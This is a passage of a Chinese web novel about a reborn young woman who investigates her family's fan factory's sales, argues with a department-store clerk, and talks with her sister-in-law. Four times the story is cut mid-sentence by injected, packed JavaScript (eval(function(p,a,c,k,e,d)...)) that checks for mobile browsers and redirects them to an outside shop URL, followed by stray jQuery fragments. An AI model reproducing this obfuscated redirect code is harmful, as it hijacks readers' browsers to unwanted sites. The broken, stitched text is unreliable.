得到首肯,张嘉林来到样品区,侃侃而谈,“这是最新款的鸿运扇,圆筒形,机身粗短,灵巧洋气,售价125元一台。它有两个颜色,乳白和浅蓝,适合放在卧室或者书房桌子上,因外形美观,价格实惠,销量稳居第一。”
说完,他指着其中颜值最高的一款,“这款落地扇是咱们厂最贵的产品,主打高端市场,售价295元。一共两种颜色,雪白和亮金,整体线条流畅、质感极佳,销量也很好。”
295一台确实不便宜。
来的路上,许晚柠跟张嘉林简单了解过厂里的薪资情况,普通工人工资在300-450之间,双职工还好,如果全家只有一个人有正式工作,养家压力相当大,大部分不会考虑这么贵的风扇。这款产品潜在客户月收入至少在500以上。
她这边暗自琢磨,张嘉林还在继续,“这两款台扇和落地扇都是老样式,漆面做的哑光烤漆,在质感上不如新款亮眼显贵。”
“因为用料足,机身略显笨重,价格比新款便宜不了多少,再加上同价位竞品较多,百货大楼和市供销社都不爱拿货,所以库存这两款剩的最多。”
许晚柠走过去,轻轻拍了拍老款落地扇的机身,像是跟老伙计打了个招呼,“我家客厅用的跟这款有点像,用了得有十年了吧,从来没坏过。”
“咱们厂的产品质量一直很好。”钱叔笑着说,“你家那款我知道,是基础版本,这款在外形和功能方面做了升级,质量更好更耐用。”
张嘉林点头表示认同,“除了这四款,库存还剩两款吊扇,一款家用,一款工程上用,除了价格上有区别,外观样式都差不多。”
“嗯,”许晚柠应了一声,“帮我试机,一个一个来。”
“好。”
等她挨个试过,又过了半个小时。
库房里闷热,许晚柠抬手擦擦额头上的汗,“新款噪音较小,和老款区别明显,整体性能做了升级?”
张嘉林眸色微亮,“对,新款风叶更窄更薄,角度做过优化,可以有效降低风噪。另外,轴承、风道一起做了升级。”
“功课做的不错。”许晚柠随口夸了一句。
张嘉林嘴角微扬,心情非常愉悦。
了解得差不多,她该走了。
许晚柠跟钱叔礼貌道谢,“钱叔,刚才麻烦您了。”
钱叔摆手,“跟叔客气啥,有啥不清楚的,你再来找我。或者问小张,我看他懂得挺多,你们年轻人多交流。叔老了,跟不上时代了。”
像刚才小张说的话,好多他都没听明白,也不理解柠柠忙活这么半天是为了啥。
不过他这人事少,不懂的从不瞎问。
许晚柠惊讶,“叔,您账目做的清晰明了,仓库管得井井有条,我算是明白我爸为什么派我来您这了,原来是跟您学习来了。”
钱叔一听,脸上的笑容深了几分,“还是你们大学生会说话。”
临走之前,许晚柠指着西南角问道,“对了钱叔,我看那边放着一堆次等品,这些一般怎么处理?”
钱叔小声道,“一般便宜卖给厂里职工,算是员工福利。”
原来如此。
来这的目的达到,许晚柠客气跟钱叔道别,带张嘉林出了库房。
呼吸到新鲜空气,许晚柠神清目明,边走边说,“张同志,我想再请教你几个问题。”
张嘉林连忙上前,“你问。”
“新款大部分被市供销社和百货大楼提走,库房积压的大部分是老款。目前老款主要销往哪里?周边县城和乡镇?老款积压这么多,说明竞品优势明显,你知道竞品具体情况吗?”
张嘉林被一连串的问题差点问懵了,好在他记性好,一个个回答,“对,老款主要被县供销社和县城批发商拉走,今年销量确实不如去年。”
“我问过临县批发商老板,他说咱们的老款产品,样式老旧,漆面氧化严重,折扣力度不大,在价格上不占优势,卖得不如去年好,他们不敢多拿货。”
“同类型的,他们店目前卖得最好的产品有两款,一款是省城电器厂生产的荷花牌鸿运扇,他们厂在省城名气很大,产品质量好,单台价格只比我们贵15块钱。”
“另一款是民营小厂生产的长江牌落地扇,外观仿的荷花牌,价格比它低百分之二十,比咱们低百分之十,好多人图便宜买它,所以销量也比我们高。”
两人说着,回到办公楼下。
许晚柠客气道谢,“谢谢你的解答,很有用,改天请你吃饭。”
张嘉林脸微红,摆手,“不用,我是厂里销售,了解
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470270|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这些是应该的。”
许晚柠莞尔一笑,礼貌道别,“你忙,我先走了。”
“等等。”张嘉林不知哪来的勇气叫住她,“许同志,你要去哪儿?”
他尽量让自己表情自然,不让人反感。
“也许我可以帮忙。”
-
上午十一点,日光白的晃眼,吹来的风中带着一股燥热。
张嘉林骑着自行车,许晚柠坐在后座,单手抓住铁架稳定身形。
沿街招牌掠过眼底,五金交电、照相馆、副食品店等等,红底黄字或蓝底白字的铁皮牌,被太阳晒得有些褪色。
大街上,偶尔有人骑着摩托车疾驰而过,发出刺耳的轰鸣声。出租车和私家车很少见,一路上她只见到几辆黄面出租车。
倒是有一辆深灰色帕萨特和他们同路了一小段,最后绝尘而去。
十几分钟后,市供销大厦到了。
许晚柠跳下车,抬头看向这座商业大楼,眼中满是怀念。
米黄外墙,五层高楼在周边一排排平房的衬托下,分外显眼。一层是明亮的玻璃橱窗,门口人流络绎不绝。
来往的行人步履匆匆,车铃声此起彼伏,再往北,是百货大楼和五金交电公司,她看了一眼收回视线。
张嘉林推着车,轻声交代,“许同志,外面热,你先进去吧,我去那边停车。”
“那你一会儿直接去家电区找我。”
“行。”
许晚柠一进门,感受到一股凉意迎面而来,原来正对门放着一排电风扇,正呼呼地转。
很朴素的降温方式。
她在其中发现两台华荣牌落地扇,心情莫名有些愉悦,从记忆里翻出家电区位置,直接去往三楼。
这时供销大厦还没有手扶电梯,她走的楼梯,抵达三楼后,她先在家电区逛了逛。相比其他楼层,三楼家电区相对冷清,倒是卖电风扇的区域聚了好几位顾客。
她找了一圈,才在犄角旮旯看到他们厂的电风扇,差点气笑了。供销社白拿了他们厂的货不说,居然放在这么偏僻的位置,这是不打算好好卖了?
怪不得供销社最近拿货不多,原来是被穿小鞋了。她现在只想搞清楚,这到底是售货员私人行为,还是供销社有意为之。
她不动声色地站在柜台旁,假装看产品,实际在听售货员跟顾客卖力推销。
张嘉林拿着两瓶汽水来到三楼,看到许晚柠刚想打个招呼,发现她正津津有味的听售货员卖货。
他想了想,默默走到她旁边,陪她一起听。
此时售货员正唾沫横飞,“大姐,您听我的,要买就买荷花牌落地扇,您别看它比华荣贵个十几块钱,这可是省城来的高端货,国营大厂生产的,质量更好。而且这电机纯铜的,噪音小,用个十年八年都不会坏。”
大姐有些犹豫,“这也太贵了。”
“一分钱一分货,夏天这么热,电风扇天天开,您买个小杂牌,用不了几天坏了,到时候您找谁说理去?听我的,买就买荷花牌风扇,省城大厂生产,质量有保障。”
许晚柠见那位大姐快被说动了,深吸一口气,高声道,“同志,麻烦您一下。”
“我想看看电风扇。”
5. 怎么,你不愿意?
听到有人要买风扇,售货员回头,只见一个小姑娘站在不远处,正笑盈盈的看着她。
她瞥了一眼站在她旁边的张嘉林,猜测两人要么是情侣,要么新婚小夫妻。简而言之,比大姐更好成交的意向客户!
正好她被顾客搞得有点烦了,车轱辘话说了好几遍,这位大姐犹犹豫豫的死活不给个准话。
要是其他顾客,在她连环劝说下,早挨不住买了,可对方愣是不为所动,搞得她都怀疑大姐今天到底买不买。如果不买,她岂不是白费功夫了?
想到这,她索性撂下大姐,热情地招呼许晚柠,“同志,你想买台扇、鸿运扇,还是落地扇?”
售货员换了目标,大姐也跟着松了口气,总算不逮着她一个人推销了,这人也太能说了,刚才她差点就答应了。
注意到售货员和顾客的目光同时落在她身上,许晚柠下巴微抬,“跟这位大姐一样,也要落地扇,不过我来之前,家里交代过,要华荣牌的。”
一听对方指定要华荣牌,售货员虽然不乐意却并不意外。华荣是他们本地二十多年的老品牌,在市民心中认可度很高。
只可惜返点不高。
她脸上带了歉意,“不好意思,最近天热,电风扇热销,华荣的断货了,要不你看看别的?”
她指着眼前的产品,笑着介绍,“你看这款落地扇怎么样?这是荷花牌最新款,比华荣贵不了多少,质量好,噪音小,省城来的高端货,你瞧瞧,样子多大气,摆在客厅也有面子。”
许晚柠笑着说最任性的话,“抱歉,我不要这款,我只要华荣牌落地扇。没货了,你们可以从其他门市调货,或者去华荣厂进货,我可以等。”
售货员第一次遇见这么死心眼的顾客,居然还安排起她来了,脑袋顿时一片空白,一时不知道该说点什么。
许晚柠挑眉,“怎么,你不愿意?”
这什么态度?售货员气得脸色发青。
因为两人起争执,附近的顾客聚集过来,有的甚至明目张胆地看热闹。
她忍了又忍,憋出一句,“同志,调货没有你想的那么简单。”
“是吗?”许晚柠笑容温和,“你把你们经理叫来,我问问他,供销大厦是本市规模最大、东西最全的地方,他想调货,那还不是一句话的事?”
售货员深吸一口气,“经理不在。”
许晚柠无所谓的点头,“行,你说不在就不在吧,我也不为难你,我问你几个问题,请你如实回答。”
不给她拒绝的机会,她直接问,“你这么卖力气给我推荐荷花牌落地扇,其中包括旁边这位一直嫌贵的大姐,是想让我们多花钱?还是省城电器厂给了你什么好处?”
“你少胡说八道!”
售货员像是被人踩了痛脚,气得理智全无,完全不顾周围看热闹的人,梗着脖子回怼,“你一个小姑娘怎么这么没礼貌,我不是告诉你了吗?华荣的没货了,不知道什么时候来货,你想买,可以看看别的品牌。”
“天这么热,我好心给你推荐款质量好的风扇,拿回家就能用,我们负责送货上门,你可倒好,不分青红皂白冤枉人。我看你不是来买电扇,是来找事的吧?”
许晚柠轻轻鼓掌,“精彩,说的我差点就信了。大家是不是也认为,华荣的断货了,所以买不到?”
周围好事的大妈们纷纷响应。
“是啊!我前两天来这想买华荣的,售货员说没货了,给我推荐的荷花牌,我看没贵多少,加上天热,就买了。”
“大妹子,你还真买了?贵十好几块钱呢,还好南城供销社门市部有货,我在那买的。”
“我们那边门市部也有货,华荣便宜,质量也好,我们家一直用这个牌子的风扇。”
“对对对,我家也用的华荣牌,我来供销大楼也是想再买一台,听说这边型号最全,结果跟我说断货了,到底真的假的?”
谁能相信普通门市部有货,号称东西最全的供销大厦反而没货呢?
人群中议论纷纷,售货员脸都僵了。
许晚柠余光看见有领导模样的人在往这边赶,不紧不慢的说,“对了,你说华荣牌断货了,为什么厂里没有接到你们要货的电话?甚至连样机都被你们放在家电区一角落灰?”
售货员气得口不择言,“你怎么知道我们没打电话!”
许晚柠从容一笑,“因为我们就是华荣厂的。”
她身旁的张嘉林不自觉地挺了挺胸膛。
没错,他们就是华荣厂的!
两人一亮身份,售货员莫名激动了,伸手指着他们,咬牙切齿的说,“好啊,我就说你们不是来买风扇的,原来是华荣厂的职工!你刚才说了那么多,不就是嫌我没卖你们厂的货吗?”
像是终于抓住了对方小辫子,售货员气焰逐渐嚣张,“你们华荣厂电风扇就是不如荷花牌的好,我推荐顾客买荷花牌的怎么了?人家可是省城国营厂,有上千职工,你们比得过吗?”
那确实是比不过的。
许晚柠不与她争辩,而是笑眯眯地看向刚刚赶到,穿着灰色短袖衬衫、深色长裤的中年男人。
“您是这的经理?”许晚柠询问,语气却带着肯定。
经理点头,“我姓郝,目前负责三楼,这边发生了什么,是不是有什么误会?”
许晚柠才不信对方什么都不知道,揣着明白装糊涂罢了。她笑容一收,神情严肃,“我们是华荣厂的,今天过来巡查一下产品销售情况,发现我们厂的风扇被放在犄角旮旯落灰。”
她抬手指了指,“这位大姐想要华荣牌落地扇,售货员说没货了,非要给她推销荷花牌的,我气不过,和她争执了几句。当着大家的面,我想问问您,我们华荣牌落地扇真的没货了吗?”
这?
他没想到对方说话这么直接,周围这么多人围观,如果他回答没货,那为什么不能调其他店的货,或者直接去厂里拉?如果有货,那不是打自家脸吗?毕竟刚才售货员振振有词的说断货了。
郝经理冷汗都快下来了,不过能当上经理,还是有几分急智的,“最近天热,风扇热销,华荣牌是本市老品牌,大家非常认可,买的人多,导致落地扇断货,真是对不住。”
许晚柠笑而不语。
这人有点难搞,郝经理心思急转,看向那位大姐,“不过仓库应该还有几台
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470271|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
次等品。如果您不介意,我可以做主折价卖给您。您放心,只是机身在搬运过程中,有些细微剐蹭、磕碰,不是什么大毛病,并不影响使用。”
大姐一听,有些激动,小心翼翼的问,“经理,能折多少啊?”
郝经理微笑,“百分之五到百分之十,按落地扇的售价,合算成价格,能便宜15-30元。”
大姐直接点头,“我要一台。”
旁边的售货员气得翻白眼,刚才说破嘴都不买,一听经理说有次等品,还有折扣,立马同意,这都什么事啊?
当然最可气的还是对面那个小姑娘,年纪轻轻的,这么有手段,真是小看她了。
旁边好几个没定的顾客见状,也跟着嚷嚷,“经理,次等品还有吗,我要一台。”
“我也要!”
其他售货员不干了,“大姨,刚刚您都定了,要荷花牌的!”她的返点啊!
大姨翻了个白眼,“有便宜的不买,买这么贵的?真当大姨家钱大风刮来的啊?”
次等品怎么了,只要能用,那都不是事!更何况最少能便宜十几块钱呢!能去市场割好几斤肉了。
郝经理几句话安抚好真正购买的顾客,让人带走办手续,然后看向许晚柠,“同志,你看这样处理,可以吗?”
许晚柠颔首,“刚才她态度不好,我要一句道歉,不过分吧?”
郝经理还未说话,售货员立刻怼道,“凭什么!”
当着这么多顾客的面,她好好的单子被对方搅黄了,居然还要她道歉?她压根没错,道哪门子歉!
“廖春燕,你闭嘴!”
郝经理语气不耐,要不是因为她行事张扬,招来这尊煞神,他至于拿次等品平事吗?
廖春燕满脸不可置信,“你居然敢吼我?”
郝经理瞪了她一眼,眼神催促,“快跟这位女同志道歉!”
人群中指指点点,议论纷纷。廖春燕臊得满脸通红,捂着脸跑了。
郝经理一脸歉意,还未说什么,许晚柠抢先一步,“经理,你们售货员的服务意识有待加强啊。”
“是是是,回头我肯定批评她,你看这样处理满意吗?”顾及周围还剩下不少看热闹的人,郝经理眼神不耐,强忍着没翻脸。
许晚柠知道现在国营商场服务意识差,向来是看人下菜碟,经理反应快,处理还算得当,索性见好就收。
不过还有最后一个问题,“我们厂生产的电风扇,是不是该换个位置了?”
她指着中间最显眼的地方,“我看这地方不错。”
郝经理嘴角一抽,还真是不客气,为了送走这位煞神,嘴上应得爽快,“当然,我马上让人来换。”
许晚柠满意点头,“因为一点小事耽误您这么长时间,十分抱歉,改天您有时间上我们厂视察,我请您尝尝食堂小炒。”
“成,改天一定去。”
闹事的人一走,人群也渐渐散了。
郝经理站在原地,笑容一收,“去看看春燕跑哪去了?”
办事员认命去跑腿,他最讨厌关系户了!经理刚才骂爽了,最后还不是他来哄?
这都什么事啊?
6. 小姑娘挺厉害的
临近中午,裴云洲和好友谭斌开车出来吃饭,顺道路过供销大厦。
眼看车就要开过去,谭斌急得嚷嚷,“停车,我下去拿个衣服。”
“事儿真多。”裴云洲嘴上嫌弃,还是找了个空地停下。
“够意思!”潭斌嘿嘿一笑,利索下车。
天热,裴云洲不愿闷在车里等,索性陪他一起去。
三楼服装店,谭斌换上白色西装站在穿衣镜前,抬手理理袖口,又顺顺头发,满意的啧了一声,偏头问好友,“怎么样,还不错吧?”
“嗯。”裴云洲惜字如金。
“切,我看你是嫉妒我长得比你帅!”谭斌面不改色地睁眼说瞎话,好好欣赏了一下帅气的自己,最后注意到裤子好像有点长。
“师傅,这裤腿是不是长了?”
老师傅抬抬眼镜,往下看,“有点,你脱下来,我给你改一改。”
谭斌去了试衣间换衣服,“师傅,要多久啊?”
“几分钟就好。”
“那行,我等等。”
服装店不大,裴云洲人高腿长,待着有些憋闷,跟好友打了声招呼,出来透气。
不远处家电区人群聚集,他心下好奇走了过去,正好瞧见许晚柠和销售员起争执的一幕。
他站在外围,看了会热闹,一开始以为对方是一个无理取闹、任性妄为的小姑娘。后来听她质问售货员条理清晰,有理有据,他有些拿不准她到底想要干什么。
等她亮明身份,方才恍然,原来她是华荣厂的职工,这是在替自家产品讨公道?
有点意思。
“看什么呢,这么专注,叫你好几声都没听见?”谭斌拍了一下好友肩膀,边说边踮脚往里看。
裴云洲双手环胸,随口答道,“看热闹,快结束了。”
闹了这么久,经理姗姗来迟,他有点好奇对方会怎么处理。
看热闹,看什么热闹?
谭斌来的最晚,眼见好友没有解释的意思,干脆去了人群里,问围观的大妈们。
他嘴甜,一口一个姐,哄得几个大妈唾沫横飞,很快知道了来龙去脉。
他拎着衣袋回来,刚好听见许晚柠趾高气昂地要求售货员给她道歉,直接把对方气跑了。
他下意识地脱口而出,“嘿!这小姑娘可真够厉害的!”
是挺厉害的。
裴云洲眼含欣赏,听到对方要求经理给自家产品最好的位置,嘴角不自觉带了一抹笑意。就连她邀请经理去厂里食堂吃饭,都带着一股朴实。
谭斌瞅了瞅好友,又看了眼许晚柠,忽然想到什么,小心翼翼地问,“云洲,你不会看上人家小姑娘了吧?人家有对象!”
裴云洲脸一黑,“你脑子里都在想什么?”说完,他抬腿就走。
谭斌连忙跟上,“真没看上?那小姑娘长得挺好看的啊,可惜有对象了。”而且找对象的眼光不咋地,他打听得很清楚,男方全程没说一句话,这也太窝囊了。
裴云洲懒得理他。
“哎,你去哪儿?走那么快干嘛?”
“吃饭!”
-
“晚柠,刚才你可真厉害!”
张嘉林眼睛亮晶晶的,随后像是想到什么,递给她一瓶橘子汽水,“差点忘了,这个给你。”
“谢谢。”许晚柠接过,咬开瓶盖,喝了一口,齁甜,带气儿,香精味挺重的。
她又喝了一口。
张嘉林献宝一样,眼中满是笑意,“好喝吧?可惜我买的时间有点久,不够冰。”
“刚刚好。”
她在深市打拼十几年,饮食不规律,喝冰凉的东西容易胃疼。
忽然她脚步一顿,反应过来,她已经不是那个年近四十,离异独居,因为拼命工作,身体落下很多小毛病的许晚柠。
现在的她,刚刚20岁,年轻、漂亮,是省城大学大三学生,前途光明,拥有无限可能。
健康的身体,又多了二十年阅历,她只会比上辈子过得更好!
张嘉林见她走着走着突然停了,眼神发愣,很明显在走神。过了一会儿,他轻声问她,“怎么了?”
许晚柠回神,下意识掏兜,摸了个空,“没事,汽水多少钱,我转……咳,我给你。”差点忘了现在还没有支付软件,她也没有手机。
“没多少钱,我请你喝。”他工资不低,一个月基本工资220,每月到手280左右,父母是双职工,他挣得钱都自己拿着,每个月除了花用,还能攒下不少。
许晚柠懒得跟他推来让去,抬手看了眼手表,已经十二点多了,“先找个地方吃饭吧。”
张嘉林以为她接受了自己好意,心下欢喜,“你想吃什么?”
许晚柠走出大厦,日光刺眼,她半眯着双眼,“天这么热,吃点凉的吧,炸酱面?”
张嘉林抬手一指,“我知道一家面馆,他家做的炸酱面特别好吃,就在马路斜对面。”
“走!”
-
许晚柠吃了满满一大碗炸酱面,汽水也喝光了。
张嘉林眉眼带笑,偷偷看她,也不说话。
“你笑什么?”许晚柠疑惑,摸了摸嘴角,“我脸上有东西?”
张嘉林忙摆手,“没有,只是没有想到你这么瘦,胃口还挺好的。”
许晚柠一脸理所当然,“我才20岁,还在长身体。”
张嘉林憋笑,“对对对,一碗够吗?要不要再来一碗?”
许晚柠无语,她又不是猪,“我吃饱了,你吃吧。上午跟我忙了半天,下午你回厂里?”
“你打算去哪儿?”不知为何,他总觉得她还要继续巡查。
“我想去百货大楼和五金交电逛逛,如果时间充裕,再去附近的门市部看看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470272|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”许晚柠说出自己的打算。
张嘉林放下筷子,擦擦嘴,“我陪你一起吧?巡查柜台、考察市场也是我们销售的工作范畴。”
“你下午没有工作?”许晚柠疑惑,厂里销售这么清闲的吗?不用出去跑业务?
张嘉林解释,“我在厂里坐班,今天还差个销售报表,我晚上加加班就能做好。”
“你吃好了?”
“对!”
“老板,结账!”
-
“刚才的饭钱给你。”张嘉林递过来两张一块的。
一碗炸酱面一块五,他饭量大,多点了一个驴肉火烧,花了五毛,一共两块。
许晚柠没接,“你请我喝汽水,我请你吃饭,扯平了。”
“这不一样,吃饭花得多。”刚才付账的时候,他坚持要付,结果晚了一步,老板拿着许晚柠的钱扭头就走,压根没给他机会。
“我是不是要把汽水的钱给你?”
“那怎么行?说好我请你。”
“同样的话送给你。”许晚柠站在阴凉处,有些烦了,“你不是要去还汽水瓶?快去吧,我在这等你。”
张嘉林微微叹了口气,拿着汽水瓶走向马路对面。
等人的时候,许晚柠垂眸在想事情,忽然听到有人一直在喊同志,让人心烦。
她眼神不耐,抬眼看去,只见一辆帕萨特的副驾车窗落了下来,一个年轻男人正笑着跟她招手,“同志,请问建设银行怎么走?”
许晚柠挑眉,这么蹩脚的搭讪方式?
她心下好笑,仔细回忆了一下,“应该就在前面,百货大楼旁边。”
谭斌笑容加深,“谢谢啊,我还不知道你叫什么呢?”
“你不必知道。”许晚柠直接拒绝,跟迎面而来的张嘉林摆手,两人一起向前走去。
“小姑娘还挺拽,近看更漂亮了。”
谭斌摇上车窗,摸摸下巴,“云洲,你说我追她怎么样?我长这么帅,不比刚才那小子强多了?”
裴云洲瞥他一眼,“你可真够无聊的。”随即启动车子。
谭斌凑过去看他面色,被对方一把推开。
“开车呢,离我远点。”裴云洲语气不耐。
“生气了?”
谭斌眉眼带笑,像是发现了什么好玩事,“云洲,你就承认吧,你对那小姑娘绝对有意思,不然刚才你停车干什么?”
“不是你让我停车的?”裴云洲反问。
“又赖我身上?成!反正也不知道对方叫什么,保城市这么大,以后见面都难,可惜了,那么好看的小姑娘,再也见不到喽!”
回应他的是一道突如其来的急刹车。
谭斌惯性前倾,被安全带勒得差点中午饭都给吐出来。
“裴云洲!你能不能开慢点!你这是赤裸裸的报复!”
“你闭嘴!”
7. 偶遇二嫂
“刚才那人谁啊?你认识?”
路上,张嘉林看着远去的私家车,状似不经意地询问。
“问路的。”一个想搭讪,被她拒绝的陌生人,仅此而已。
不过车上除了他,还有一个人,她只看到对方侧脸,不知为何总觉得有些眼熟,好像在哪见过。
不等她细想,张嘉林出声打断了她的思绪。
“晚柠,刚才你让经理帮咱们厂电风扇换了位置,以后销量是不是就能上去了?”
“应该能上去一些,但不会太多。”
“为什么?经理不是答应了吗?”
“可他没答应换几天啊?而且就算换了位置,售货员也可以不推荐。”这小子看着挺聪明的,怎么连职场最基本的门道都不懂?
“还能这样?”张嘉林震惊,他一直在办公室坐班,没跑过业务,这里面有多少隐形规则,他还没摸清楚。
售货员行为他无法左右,转念一想有了主意,“那等他们撤了位置,咱们是不是可以再找他换回去?”
“最好不要。”
见对方疑惑,许晚柠解释,“这次我们来的巧,算是抓住了售货员一个小把柄,经理碍于围观的人多,怕我闹大,所以选择息事宁人。”
“他能同意调换位置,已经很给咱们厂面子了,再找他也没用,他有一万个理由推脱。”
张嘉林拳头紧握,“那过几天我们再来,只要他们敢踩着我们厂产品,强推荷花牌电风扇,我们就有理由再找他换回去。”
许晚柠再次体会到带实习生那种无力感,“他现在已经知道我们是华荣厂的,同样的招式再来一次,他还会妥协吗?都是国营单位,对方还是咱们厂的经销商,事闹大了,双方面子上都不好看,没必要。”
这也不行,那也不行。
张嘉林愁得慌,“他们要是再推荷花牌电扇,我们这个月销量怎么办?”
许晚柠很冷静,“按照目前来说,他卖多卖少,对咱们厂有什么影响?或者说直白点,有什么好处吗?”
啊?这他倒是没想过。
张嘉林思考片刻,“有销量,工人们才能加班加点的搞生产,这算是好处吧。”他有些不确定,仅想到这个。
许晚柠没说对还是不对,只问了他三个问题。
“这个月工人忙吗?”
“还行,两班倒,不算太忙,我听厂里老人说,以前厂里三班倒都忙不过来。”
“你应该知道这个月工资暂时不发?”
“是。”上午工人们堵了厂长办公室,他偷听到的。
“既然工人们两班倒,有活干,为什么这个月工资发不了?”
“因为供销社只拿货,没结货款。”他好像明白她意思了。
许晚柠给了他一个孺子可教的眼神,“供销社卖多卖少,只要不结货款,对咱们厂没有直接好处,所以不用太在意。”
原来是这样。
“那你刚才为什么让经理给咱们厂换最好的位置?”
有必要吗?因为她一句话,气得经理脸都青了。
许晚柠一脸理所当然,“我们站在那,代表华荣厂,不能瞻前顾后丢了厂子脸面,先把实际能得的好处捞了再说。”不然对方只会更加得寸进尺。
张嘉林如同醍醐灌顶,激动得双手紧握,“你说的对!”
他忍不住夸赞,“你懂得好多,都是在大学学的吗?”
“算是吧。”
上辈子,社会这所大学,把她打磨得通透练达。可以说,大学教她知识,社会教她做人,职场令她脱胎换骨,方才成就如今的她。
张嘉林眼底的崇拜毫不掩饰,可谁能想到,她并不是一个单纯的大学生,而是来自二十年后,多了更多阅历的许晚柠呢?
“晚柠,看路。”
“好!”
-
张嘉林任劳任怨地陪许晚柠跑了一天。
供销大厦,百货大楼,五金交电,市中心附近几个供销社门市部,他们都逛了个遍。
回去的时候,路过一家供销社,这离华荣厂不远,大概五百多米。
许晚柠站在门口,透过玻璃窗,依稀看见里面熙攘的人群,大多买的是生活用品,哪怕电风扇摆在正中最好的位置,咨询的人依旧寥寥无几。
张嘉林推着车子,小声说,“来这边买电扇的人很少,一天也卖不了几台,大部分人更喜欢去市中心购买。”
许晚柠应了一声,“走吧。”
“不进去了?”
“没什么好看的。”
两人刚要离开,忽然听到有人在喊柠柠,许晚柠下意识转身看去。
许二嫂站在不远处,一脸惊喜,“柠柠,还真是你,我还以为看错了呢。”
看着年轻许多、充满活力的二嫂,许晚柠恍惚了片刻,瞬间恢复正常,脸上不自觉挂上笑容,“二嫂,你怎么在这?阳阳呢?”
“你哥下班了,他看孩子,我来给阳阳买罐麦乳精。”
许二嫂看向小姑子旁边的年轻男人,嘴上含笑,“这位是你同学?”
“不是,”二嫂这人喜欢刨根问底,许晚柠没有多说,她看向张嘉林,“你不是要回厂里加班?你先去吧,我跟我二嫂回家。”
“好。”张嘉林见许晚柠没有介绍的意思,不知道该怎么称呼许二嫂,索性冲她点点头,骑车离开。
见人走了,许二嫂快走几步,和她并肩,脸上带着揶揄,“柠柠,他是谁啊?咱们厂的?我怎么没见过?”
“他来厂里还不到一年。”
“我说这么优秀的小伙子我怎么没印象,原来是新来的。”自从生完孩子,她没上过班,都一年多没去厂里了。
许晚柠避开二嫂八卦的眼神,赶紧换了个话题,“阳阳现在喝麦乳精?”
许沐阳,她的小侄子,现在应该一岁多还是两岁,她记不太清了。麦乳精这么甜,又没什么营养,喝这个合适吗?
说起这个,许二嫂忍不住叹气,“我要带孩子还没复工,家里就你哥一个人上班。以前还好,这半年,厂里只发半个月工资,家里吃穿哪样不花钱?我打算先给阳阳断奶,趁着现在是旺季,赶紧回厂里上班。”
许二嫂之前在生产线上工作,一直到快生阳阳才休的产假。许国盛和赵秋红都有工作,家里没人帮她看孩子,她只能自己带。
“你和我哥都工作,阳阳怎么办?”
“我打算送他去厂里托儿所,以前舍不得,怕孩子磕了碰了,哭着找妈妈,现在也顾不上了。”
说是这么说,言语间的不舍分外明显。
许晚柠蹙眉,注意到她眼底的黑眼圈,心生怜惜,“二嫂,天这么热,你回车间工作,身体吃得消吗?”
“吃不消也得干啊。”许二嫂苦着脸,因为公公是厂长,身份特殊,所以她想换个轻松的岗位都不成,他公公不会同意的。
许晚柠有些想法,在一切还没定下之前,她暂时按下不提,只劝道,“二嫂,工作的事,你别太心急,平日里别只顾着孩子,你也要养好身体。”
一句话说得她险些落泪,许二嫂眼圈通红,抱怨道,“你哥平日里只顾着工作,家里的事他什么都不管,不操心,啥事也指望不上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470273|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他。”
“最近天热,阳阳晚上睡觉不老实,总踢被子,我半夜还得给他盖被子。”
“你哥晚上沾枕头就睡着了,呼噜声震天响,天天吵得我睡不着觉,好不容易睡着了,阳阳半夜噩梦惊醒,我还得抱起来哄。”
许二嫂喋喋不休地诉苦,许晚柠安静听着,虽然她上辈子没生养过孩子,不能感同身受,但她经历过婚姻,能听出二嫂的心酸和委屈。
“我回娘家跟我妈说,我妈总说等孩子大一点就好了,可再这么下去,我受不了了啊。”
不知何时,许二嫂已然泪流满面。
两人站在一个僻静的角落,许晚柠思索片刻,神情认真,“二嫂,你要真想摆脱这种生活,也简单。”
